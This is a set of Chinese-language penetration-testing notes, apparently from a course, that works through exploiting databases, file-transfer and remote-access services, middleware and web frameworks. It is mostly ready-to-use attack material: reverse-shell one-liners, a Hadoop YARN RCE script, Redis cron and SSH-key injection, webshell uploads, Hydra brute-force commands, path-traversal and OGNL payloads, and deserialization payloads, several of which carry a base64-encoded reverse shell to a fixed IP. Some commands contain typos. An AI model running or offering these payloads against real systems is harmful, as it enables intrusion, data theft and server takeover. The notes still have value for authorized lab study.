小伙子不懂事,写着玩的

目录

数据库安全

Mysql-未授权访问-CVE-2012-2122利用

Hadoop-未授权访问-内置配合命令执行RCE

Redis-未授权访问-WebShell&任务&密匙&RCE等

influxdb-未授权访问-Jwt验证不当

H2database-未授权访问-配置不当

CouchDB-权限绕过配合RCE-漏洞

ElasticSearch-文件写入&RCE-漏洞

应用协议

口令猜解-Hydra-FTP&RDP&SSH

配置不当-未授权访问-Rsync文件备份

高端课程-直接搜哈-MSF&Fofaviewer

协议漏洞-应用软件-FTP&Proftpd搭建

协议漏洞-应用软件-SSH&libssh&Openssh

-libssh (2222端口)身份验证绕过(CVE-2018-10933)

远程控制-向日葵&VNC&TeamViewer

TeamViewer

-VNC 口令问题&未授权

Zabbix CVE-2022-23131 登录绕过漏洞复现

设备平台-Kibana-CVE-2019-7609

中间件安全

中间件-IIS-短文件&解析&蓝屏等

中间件-Nginx-文件解析&命令执行等

中间件-Apache-RCE&目录遍历&文件解析等

中间件-Tomcat-弱口令&文件上传&文件包含等

中间件-Fofaviewer&Apache_RCE

中间件Weblogic-工具搜哈

中间件-JBoss-工具脚本搜哈

中间件-Jenkins-工具脚本

中间件-GlassFish-脚本工具

中间件-k8s

中间件-Jetty

中间件-Docker

中间件-WebSphere

框架安全

PHP-开发框架安全-Thinkphp&Laravel

Javaweb-开发框架安全-Spring&Struts2

Django

JQuery

Node.js

Apache Shiro

Apache Solr


数据库安全

知识点:

1、服务攻防-数据库类型安全

2、Redis&Hadoop&Mysql安全

3、Mysql-CVE-2012-2122漏洞

4、Hadoop-配置不当未授权三重奏&RCE漏洞

5、Redis-配置不当未授权三重奏&RCE两漏洞

章节内容:

常见服务应用的安全测试:

a:配置不当-未授权访问

b:安全机制-特定安全漏洞

c:安全机制-弱口令爆破攻击

前置知识:

应用服务安全测试流程:见图

A:判断服务开放情况-端口扫描&组合应用

B:判断服务类型归属-数据库&文件传输&通讯等

C:判断服务利用方式-特定漏洞&未授权&弱口令等

Mysql-未授权访问-CVE-2012-2122利用

复现环境:vulhub        内置端口3306

for i in `seq 1 1000`;do mysql -uroot -pwrong -h your -ip -P3306; done

Hadoop-未授权访问-内置配合命令执行RCE

复现环境:vulfocus        内置端口50010

import requests

target='http://xx.xx.xx.xx:xxxx/'

lhost='xx.xx.xx.xx' #put your local host ip here ,and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'

resp = requests.post(url)

app_id = resp.json()['application-id']

url = target + 'ws/v1/cluster/apps'

data = {

        'application-id':app_id,

        'application-name':'get-shell',

        'am-container-spec':{

                'commands':{

                        'command':'/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,

},

},

'application-type':'YARN',

}

requests.post(url,json=data)

       

Redis-未授权访问-WebShell&任务&密匙&RCE等

1.写WebShell需得到Web路径        内置端口:6379

利用条件:Web目录权限可读写

config set dir /tmp         #设置WEB写入目录

config set dbfilename 1.php        #设置写入文件名

set test "<?php phpinfo();?>"        #设置写入文件代码

dbsave         #保存执行

save        #保存执行

注意:部分目录权限没读写权限

2.写定时任务反弹shell

利用条件:

允许异地登录

安全模式protected-mode处于关闭状态

config set dir /var/spool/cron

set yy "\n\n\n* * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1\n\n\n"

config set dbfilename x

save 

注意:

centos会忽略乱码去执行格式正确的任务计划

3.写入Linux ssh-key公钥

利用条件:

允许异地登录

Redis服务使用ROOT账号启动

安全模式protected-mode处于关闭状态

允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

ssh-keygen -t rsa

cd /root/ssh/

(echo -e "\n\n",cat id_rsa.pub;echo -e "\n\n")> key.txt

cat key.txt|redis-cli -h xx.xx.xx.xx -x set xxx

config set dir /root/ssh/

config set dbfilename authorized_keys

save

cd /root/.ssh/

ssh -i id_rsa root@xx.xx.xx.xx

4.RCE自动化利用脚本-vulfocus

https://github.com/vulhub/redis-rogue-getshell

python redis-master.py -r xx.xx.xx.xx(目标地址) -p xxxx -L xx.xx.xx.xx -P xxxx -f

RedisModulesSDK/exp.so -c "id"

5.新漏洞-沙箱绕过RCE CVE-2022-0543-vulfocus

Poc:执行id命令

eval 'local io_l=package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0","luaopen_io");local io=io_l();local f=io.open("id","r");local res=f.read("*a");f.close();return res' 0

知识点:

a:服务攻防-数据库类型安全

b:influxdb-未授权访问-jwt验证

c:H2database-未授权访问-配置不当

d:CouchDB-权限绕过配合RCE-漏洞

e:ElasticSearch-文件写入&RCE漏洞

章节内容:

常见服务应用的安全测试:

A:配置不当-未授权访问

B:安全机制-特定安全漏洞

C:安全机制-弱口令爆破攻击

前置知识:

应用服务安全测试流程:见图

1、判断服务开放情况-端口扫描&组合应用

2、判断服务类型归属-数据库&文件传输&通讯等

3、判断服务利用方式-特定漏洞&未授权&弱口令等

influxdb-未授权访问-Jwt验证不当

默认端口:8086,8088

influxdb是一款著名的时序数据库,其使用jwt作为鉴权方式,在用户开启了认证,但未设置参数shared-secret的情况下,jwt的认证密钥未空字符串,此时攻击者可以伪造任意用户身份在influxdb中执行sql语句

1.借助https://jwt.io/来生成jwt token:vulhub

{

"alg":"HS256",

"typ":"JWT"

}

{

 "username":"admin",

"exp":1676346267

}

2.发送数据包触发未授权

POST /query HTTP/1.1

Host:your ip

,,,

加入jwt空密钥

,,,

db=sample&q=show users

H2database-未授权访问-配置不当

默认端口:20051

H2database是一款java内存数据库,多用于单元测试。H2database自带一个Web管理页面,在Spring开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:

spring h2.console.enable=true

spring h2.console.setting.web-allow-others=true

利用这个管理页面,我们可以进行JDNI注入攻击,进而在目标环境下执行任意命令。

a:下载JNDI-Injection-Exploit

https://github.com/welk1n/JNDI-Injection-Exploit

b:生成执行RMI Payload-URL

-C 执行命令 -A 服务器地址

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A xx.xx.xx.xx

c:填入URL提交执行

javax.naming.InitialContext

rmi://xx.xx.xx.xx:xxxx/kd1rns

CouchDB-权限绕过配合RCE-漏洞

默认端口:5984

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,Javascript作为查询语言,MapReduce和HTTP作为API的nosql数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)

-CouchDB-权限绕过-CVE-2017-12635

1.先创建用户

Post:/_users/org.couchdb.user.vulhub

{

"type":"user",

"name":"vulhub",

"roles":["_admin"],

"roles":[],

"password":"vulhub"

}        

2.登录用户授权

Get:/_utils/

vulhub vulhub

-CouchDB-权限绕过RCE-CVE-2017-12636

1、下载exp.py

2、修改目标和反弹地址

3、Python3调用执行即可

https://github.com/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

ElasticSearch-文件写入&RCE-漏洞

默认端口:9200 9300

-ElasticSearch RCE CVE-2014-3120

A:漏洞需要es中至少存在一条数据,所以我们需要先创建一条数据

Post /website/blog/ HTTP/1.1

Host:your ip

...

{

"name":"xxx"

}      

B:直接发包触发执行命令

-ElasticSearch 文件写入 wooyun_2015_110216

9200一般为ElasticSearch的常用端口,此漏洞环境需要与中间件使用

a:发现9200端口存在elasticsearch页面,8080存在tomcat目录

b:利用ElasticSearch写入后门到/usr/local/tomcat/webapps/wwwroot/

curl -XPOST http://xx.xx.xx.xx:xxxx/yz jsp/1 -d'

{

"<%new java.io.RandomAccessFile(application.getReadPath(new String(new byte[]{47,116,101,115,116,46,106,115,112}))new String(new byte[]{114,119})) write(request.getParameter(new String(new byte[]{102})).getBytes()),%>"."test"

}

curl -XPUT 'http://xx.xx.xx.xx:xxxx/_snapshot/yz.jsp' -d '{

"type":"fs",

"settings"{

        "location":"/usr/local/tomcat/webapps/wwwroot",

        "compress":false

}'

curl -XPUT "http://xx.xx.xx.xx:xxxx/_snapshot/yz.jsp"-d'{

        "indices":"yz.jsp",

        "ignore_unavailable":"true",

        "include_global_state":false

}'

c:访问8080端口snapshot-yz.jsp文件写入代码到test.jsp中

http://xx.xx.xx.xx:xxxx/wwwroot/indices/yz.jsp.snapshot-yz.jsp?f=success

http://xx.xx.xx.xx:xxxx/wwwroot/test.jsp

应用协议

知识点:

1,服务攻防-远程控制&文件传输等

2,远程控制-RDP&ROP&弱口令&漏洞

3,文件传输-FTP&Rsync&弱口令&漏洞

章节内容

常见服务应用的安全测试

a:配置不当-未授权访问

b:安全机制-特定安全漏洞

c:安全机制-弱口令爆破攻击

前置知识:

应用服务安全测试流程,如图

A:判断服务开放情况-扫描端口&组合应用deng

B:判断服务类型归属-数据库&文件传输&通讯等

C:判断服务利用方式-特定漏洞&未授权访问&弱口令等

口令猜解-Hydra-FTP&RDP&SSH

https://github.com/vanhauser-thc/thc-hydra

hydra是一个自动化爆破工具,暴力破解弱密码,是一个支持多协议的爆破工具,已经集成到kaliLinux中,直接在终端打开即可。

-s POST        可通过这个参数指定非默认端口

-l LOGIN        指定破解的用户,对特定用户破解

-L FILE        指定用户名字典

-p PASS        小写,指定密码破解,少用,一般是采用密码字典

-P FILE        大写,指定密码字典

-e ns        可选选项,n:空密码试探,s:使用指定用户和密码试探

-C FILE        使用冒号分割格式,例如”登录名:密码“来代替-L/-P参数

-M FILE        指定目标列表文件一行一条。

-o FILE        指定结果输出文件

-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。

-t TASKS        同时运行的线程数,默认为16

-w TIME        设置最大超时的时间,单位s,默认是30s

-v/-V        显示详细过程

server 目标ip

service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap3 mssql mysql oracle-listener postgres nntp socket5 rexec rlogin pcnfs snmp rsh  cvs svn icq sapr3 ssh smtp-auth[ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp 等等

例子:

FTP(21):文件传输协议

RDP(3389):Windows远程桌面协议

SSH(22):Linux安全外壳协议

hydra -L test -P 10top1K.txt xx.xx.xx.xx ftp -V

hydra -l root -P 10top1K.txt xx.xx.xx.xx ssh -V

hydra -l administrator -P 10top1K.txt xx.xx.xx.xx rdp -V

配置不当-未授权访问-Rsync文件备份

rsync是Linux下一款数据备份工具,支持通过rsync协议,ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。

判断:rsync rsync://xx.xx.xx.xx:xxxx/

利用:

-读取文件:rsync rsync://xx.xx.xx.xx:xxxx/src/

-下载文件:rsync rsync://xx.xx.xx.xx:xxxx/src/etc/passwd/

-上传文件:rsync -av passwd rsync://xx.xx.xx.xx:xxxx/src/tmp/passwd

反弹shell:

a:获取信息:下载到本地

rsync rsync://xx.xx.xx.xx:xxxx/src/etc/crontab /root/cron.txt

b:创建文件:

touch shell

#!/bin/bash

/bin/bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1

chmod +x shell

c:上传文件:

rsync -av shell rsync://xx.xx.xx.xx:xxxx/src/etc/cron.hourly

d:等待接受反弹

高端课程-直接搜哈-MSF&Fofaviewer

https://github.com/wgpsec/fofa_viewer

msfconsole

use auxiliary/scanner/rsync/modules_list

set rhosts file:/root/ips.txt

set threads 10

run

协议漏洞-应用软件-FTP&Proftpd搭建

https://github.com/t0kx/exploit-CVE-2015-3306

python exploit.py --host xx.xx.xx.xx --port xxxx --path "/var/www/html"

https://xx.xx.xx.xx:xxxx/backdoor.php?cmd=id

协议漏洞-应用软件-SSH&libssh&Openssh

-Openssh CVE-2014-0160 CVE-2018-15473 CVE-2020-15778

CVE-2014-0160版本很少

CVE-2020-15778价值不高

CVE-2018-15473用户枚举

https://github.com/Rhynorater/CVE-2018-15473-Exploit

pip3 install -r requirements.txt

pip3 install paramiko==2.4.1

python sshUsernameEnumExploit.py --port xxxx --userList exampleInput.txt xx.xx.xx.xx

-libssh (2222端口)身份验证绕过(CVE-2018-10933)

https://www.seebug.org/vulhub/ssvid-97614

python libssh.py xx.xx.xx.xx xxxx "id"

知识点:

1,远程控制-第三方应用安全

2,三方应用-向日葵&VNC&TV

3,设备平台-Zabbix&Kibana漏洞

远程控制-向日葵&VNC&TeamViewer

向日葵RCE

https://github.com/Mr-xn/sunlogin_rce

xrkRce.exe -h xx.xx.xx.xx -t scan

xrkRce.exe -h xx.xx.xx.xx -t rce -p xxxx -c "ipconfig"

TeamViewer

<!DOCTYPE html>

<html>

<head>

        <title>cve-2020-13699</title>

</head>

<body>

        <p>Welcome to here</p>

        <iframe style="height:10px;width:1px" src='teamviewer10: --play \\attacker-IP\share\fake.tvs'></iframe>

</body>

</html>

-VNC 口令问题&未授权

MSF内置口令及未授权测试

设备平台-Zabbix-CVE-2022-23131

Zabbix是由Alexei Vladishev开发的一种网络监视、管理系统,基于Server-Client架构。是一款服务器监控软件,其由server,agent,web等模块组成,其中web模块由php编写,用来显示数据库中的结果。默认端口:10051

Zabbix CVE-2022-23131 登录绕过漏洞复现

https://github.com/L0ading-x/cve-2022-23131

python3 zabbix.py target Admin

然后修改Cookie,使用saml登录即可

CVE-2017-2824 CVE-2020-11800

设备平台-Kibana-CVE-2019-7609

Kibana为Elasticsearch设计的一款开源的视图工具。其5.6.15和6.6.1之前的版本中存在一处原型链污染漏洞,利用漏洞可以在目标服务器上执行任意代码。默认端口:5601

https://github.com/LandGrey/CVE-2019-7609

.es(*).props.(label.__proto__.env.AAAA='require("child_process").exec("/bin/touch/tmp/success");process.exit()//').props(lable.__proto__env.NODE__OPTIONS='--require /proc/self/environ')

中间件安全

知识点:

中间件及框架列表:

IIS,Apache,Nginx,Tomcat,Docker,Weblogic,JBoss,WebSphere,Jenkins,GlassFish,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery等

a:中间件-IIS-短文件&解析&蓝屏等

b:中间件-Nginx-文件解析&命令执行等

c:中间件-Apache-RCE&目录遍历&文件解析等

d:中间件-Tomcat-弱口令&文件上传&文件包含等

章节内容:

常见中间件的安全测试:

1.配置不当-解析&弱口令

2.安全机制-特定安全漏洞

3.安全机制-弱口令爆破攻击

4.安全应用-框架特定安全漏洞

前置知识:

中间件安全测试流程:

1,判断中间件信息-名称&版本&三方

2,判断中间件问题-配置不当&公开漏洞

3,判断中间件利用-弱口令&EXP&框架漏洞

应用服务安全测试流程:

1、判断服务开放情况-端口扫描&组合应用等

2、判断服务类型归属-数据库&文件传输&通讯等

3、判断服务利用方式-特定漏洞&未授权&弱口令等

中间件-IIS-短文件&解析&蓝屏等

A:短文件:信息搜集

B:文件解析:还有点用

C:HTTP.SYS:蓝屏崩溃

D:CVE-2017-7269 条件过老

中间件-Nginx-文件解析&命令执行等

1.后缀解析 文件名解析

配置不当:该漏洞与Nginx,php版本无关,属于用户配置不当造成的解析漏洞。

CVE-2013-4547:影响版本:Nginx 0.8.41~1.4.3/1.5.0~1.5.7

2.CVE_2021_23017无EXP

3.CVE_2017_7529意义不大

中间件-Apache-RCE&目录遍历&文件解析等

Apache HTTP server 是美国阿帕奇(apache)基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的API进行扩充的特点,发现Apache HTTP Server 2.4.50中针对CVE-2021-41773的修复不够充分。攻击者可以使用路径遍历攻击将URL映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了CGI脚本,则这可能允许远程代码执行。此问题仅影响Apache 2.4.49 和 Apache 2.4.50,而不影响更早版本。

1,cve_2021_42013 RCE

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

反弹shell命令:

echo:perl -e 'use Socket;$i="xx.xx.xx.xx";

$p=5566;socket(S,PF_INEF,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))

{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}};'

2,cve_2021_41773 目录穿越

Apache HTTP Server 2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可以利用该漏洞读取到Web目录以外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。

Burp:/icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%32%65/etc/passwd

3,cve_2017_15715文件解析

Apache HTTPD是一款HTTP服务器,其2.4.0~2.4.29版本存在一个解析漏洞,在解析PHP时,1.php\x\0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

4,cve_2017_9798        价值不高

5,cve_ 2018_11759        价值不高

6,cve_2021_37580        插件不高

       

中间件-Tomcat-弱口令&文件上传&文件包含等

a:弱口令猜解

配置不当导致后台弱口令,可通过上传jsp压缩包名的war拿shell

b:cve-2017-12615 文件上传

当存在漏洞的Tomcat运行在windows/Linux主机上,且启用HTTP PUT请求方法(例如,将readonly初始化参数由默认值设置为false),攻击者将有可能通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限

影响版本:Apache Tomcat 7.0.0~7.0.79

PUT /1.jsp/HTTP/1.1

shell代码

c:cve_2020_1938文件包含 

Apache Tomcat AJP协议(默认8009端口)由于存在现实缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件,若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。

漏洞影响的产品版本包括:

Tomcat6.*

Tomcat7.* < 7.0.100

Tomcat8.* < 8.5.51

Tomcat9.* < 9.0.31

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

D:\Python27\python.exe CNVD-2020-10487-Tomcat-Ajp-lfi.py xx.xx.xx.xx -p xxxx -f WEB-INF/web.xml

d:cve_2020_11996 拒绝服务

危害过大,权限无关,意义不大

e:cve_2020_9484 反序列化

利用条件苛刻,意义不大

中间件-Fofaviewer&Apache_RCE

server="Apache/2.4.49"

1,中间件-Weblogic安全

2,中间件-JBoss安全

3,中间件-弱口令爆破攻击

4,中间件-框架特定安全漏洞

中间件Weblogic-工具搜哈

探针默认端口:7001,Weblogic是Oracle公司推出的J2EE应用服务器

cve_2017_3506        工具

cve_2018_2893        工具

cve_2018_3245        工具

cve_2020_14882        工具

cve_2021_2394        反序列化

https://github.com/lz2y/CVE-2021-2394

https://github.com/welk1n/JNDI-Injection-Exploit

vps生成ldap监听端口

编码:bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1

执行:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A xx.xx.xx.xx

发送数据触发

java -jar CVE_2021_2394.jar xx.xx.xx.xx xxxx ldap://xx.xx.xx.xx:xxxx/x1nfdy

中间件-JBoss-工具脚本搜哈

JBoss通常占用的端口是1098,1099,4444,4445,8080,8009,8083,8093这几个,Red Hat JBoss Application Server 是一款基于JavaEE 的开源应用服务器。

1.CVE-2017-12149 

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"  > poc.ser

curl http://xx.xx.xx.xx:8080/invoker/readonly --data-binary @poc.ser

2.CVE-2017-7504

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" > 1.ser

curl http://xx.xx.xx.xx:8080/jbossmq-httpil/HTTPServerlLServlet --data-binary @1.ser

3.弱口令 未授权访问

中间件-Jenkins-工具脚本

探针默认端口:8080,Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作。

1、cve_2017_1000353 JDK-1.8.0_291 其他版本失效

https://github.com/vulhub/CVE-2017-1000353

bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

python exploit.py http://xx.xx.xx.xx:xxxx jenkins_poc.ser

2、cve-2018-1000861

https://github.com/adamyordan/cve-2018-1003000-jenkins-rce-poc

bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1

python3 -m http.server 8888

python2 exp.py http://xx.xx.xx.xx:xxxx/"curl -o /tmp/1.sh"

http:xx.xx.xx.xx:xxxx/shell.txt''

python2 exp.py http://xx.xx.xx.xx:xxxx/"bash /tmp/1.sh"

3、cve_2019_100300需要用户账号密码

中间件-GlassFish-脚本工具

探针默认端口:4848,GlassFish是一款强健的商业兼容应用服务器

1.CVE-2017-1000028

读密码:/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains\domain1\config\admin-keyfile

读windows文件:/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini

读linux文件:/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

2.简单口令

配合-fofa_viewer-工具脚本

a:配合GlassFish读取测试

b:配合Jenkins-CVE-2018-1000861

知识点:

A:中间件-k8s安全

B:中间件-Jetty安全

C:中间件-Docker安全

D:中间件-WebSphere安全

中间件-k8s

Kubernetes简称k8s,是一个由google开源的,用于自动部署,扩展和管理容器化应用程序的开源系统。在B站内部,k8s在管理生产级容器和应用服务部署已经有较为广泛和成熟的应用。通过k8s,可跨多台主机进行容器编排、快速按需扩展容器化应用及其资源、对应用实验状况检查、服务发现和负载均衡等。

https://blog.csdn.net/w1590191166/article/details/122028001

中间件-Jetty

Eclipse Jetty是一个开源的servlet容器,它是基于JAVA的Web容器提供运行环境。

CVE-2021-28164

http://xx.xx.xx.xx:xxxx/%2e/WEB-INF/web.xml

CVE-2021-28169

http://xx.xx.xx.xx:xxxx/static?/WEB-INF/web.xml

CVE-2021-34429

http://xx.xx.xx.xx:xxxx/%u002e/WEB-INF/web.xml

中间件-Docker

Docker容器是使用沙盒机制,是单独的系统,理论上是很安全的,通过利用某种手段,再结合执行POC或EXP,就可以返回一个宿主机的高权限Shell,并拿到宿主机的root权限,可以直接操作宿主机文件。它从容器中逃了出来,因此我们形象的称为Docker逃逸漏洞。

a:容器判断:

是否存在.dockerenv文件

os -alh /.dockerenv

查询系统进程的cgroup信息:

cat /proc/1/cgroup

b:容器逃逸漏洞:权限提升

由内核漏洞引起--Dirty Cow (CVE-2016-5195)

由Docker软件设计引起——CVE-2019-5736、CVE-2019-14271,CVE-2020-15257

由配置不当引起——开启privilege(特权模式)+宿主机目录挂载(文件挂载)、功能(capabilities)机制、socket通信方式

-CVE-2016-5195

https://github.com/gebl/dirtycow-docker-vdso

https://www.ichunqiu.com.experiment/catalog?id=100295

使用本地1234端口连接docker的1234端口运行dirtycow镜像,并将其临时命名为test

其中test:为临时名称,可以自定义填写。-p:第一个端口为本机的端口,第二个端口为Docker的端口。-itd:意思是再后台运行,交互式运行,并且输出当前的信息

/bin/bash:调用shell

docker run --name=test -p 1234:1234 -itd dirtycow /bin/bash

进入镜像内部

docker exec -it test /bin/bash

编译并运行 POC

cd /dirtycow-vdso/

make

./0xdeadbeef

CVE-2019-5736

参考:https://blog.51cto.com/u_15060465/4336524

复现:curl

https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

A:下载POC

git clone https://github.com/Frichetten/CVE-2019-5736-PoC

B:修改编译生成Payload

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

C:将该payload拷贝到docker容器中(此时可以模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸)并执行

docker cp main ecca872da49d:/home

docker exec -it ecca872da49d bash

cd /home/

chmod 777 main

./main

D:再次进入docker镜像后监听即可收到

docker exec -it 镜像ID bash

nc -lvvp

c:容器安全漏洞

docker未授权访问漏洞-vulhub-exp.py

import docker

client=docker.DockerClient(base_url='http://目标ip:2375/')

data=client.containers.run('alpine:latest',r"'sh -c"echo'* * * * * /usr/bin/nc 反弹IP 端口 -e /bin/sh'>> /tmp/etc/crontabs/root""'.remove=True volumes={'/etc' {'bind':'/tmp/etc','mode':'rw'}})

中间件-WebSphere

WebSphere Application Server 加速交付新应用程序和服务,它可以通过快速交付创新的应用程序来帮助企业提供丰富的用户体验从基于开放标准的丰富的变成模型中进行选择,以便更好地协调项目需求与变成模型功能和开发人员技能。

端口:9080——web(http)应用访问端口、9443——web(https)应用访问端口、9060——管理后台访问端口、9043——管理控制台安全端口、8880——SOAP连接器端口等等。

漏洞探测在8880端口,后台是9060端口,解析是9080端口

拉取镜像:docker pull iscrosales/websphere7

启动镜像:docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7

停止镜像:docker stop $(docker ps -aq)

1、CVE-2015-7450反序列化

工具:http://xx.xx.xx.xx:8880/

2、弱口令上传拿shell

在6.x至7.0版本,后台登陆只需要输入admin作为用户标识,无需密码,即可登录后台。

-websphere/ websphere

-system/ manager

访问:http://xx.xx.xx.xx:9060/

登录:admin

上传:war马

启动:1_war

连接:http://xx.xx.xx.xx:9080/1/1.jsp

3、CVE-2020-4450:无利用POC/EXP

框架安全

a,开发框架-PHP-Laravel-Thinkphp

b,开发框架-Javaweb-St2-Spring

c,开发框架-Python-django-flask

d,开发框架-Javascript-Node.js-JQuery

常见语言开发框架

PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等

Java:Spring MyBatis Hibernate Struts2 Springboot等

Python:Django Flask Bottle Turbobars Tornado Web2py等

Javascript:Vue.js Node.js Bootstrap JQuery Angular等

PHP-开发框架安全-Thinkphp&Laravel

Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。

CVE-2021-3129

Laravel <= 8.4.2

https://github.com/zhzyker/CVE-2021-3129

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

Thinkphp-3.x RCE-5.x RCE

Thinkphp是一套开源的、基于PHP的轻量级Web应用开发框架

武器库-Thinkphp专检

Javaweb-开发框架安全-Spring&Struts2

Struts2是一个基于MVC设计模式的Web应用框架

1、2020前漏洞

武器库-st2专检

2、cve_2020_17530

脚本:https://github.com/YanMu2020/s2-062

手工:

POST /.action HTTP/1.1 Host: 192.168.52.128:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node0i3sptalo62q6kw46qu49oxwn1.node0 Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Length: 833 ------WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Disposition: form-data; name="id" %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ls")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))} ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

3、cve_2021_31805

https://github.com/YanMu2020/s2-062

Spring框架是由于软件开发的复杂性而创建的

a:cve_2017_4971-Spring Web Flow

Spring WebFlow 2.4.0-2.4.4

https://paper.seebug.org/322/

_eventld_confirm=&_csrf=e06e1d86-e083-45f7-b700-567b5f715d30&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/x.x.x.x/10086+0>%261")).start()=vulhub


b:cve_2018_1273-Spring Data Commons

Spring Data Commons 1.13-1.13.10(Ingalls SR10)

Spring Data REST 2.6-2.6.10(Ingalls SR10)

Spring Data Commons 2.0 to 2.0.5(Kay SR5)

Spring Data REST 3.0-3.0.5(Kay SR5)

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

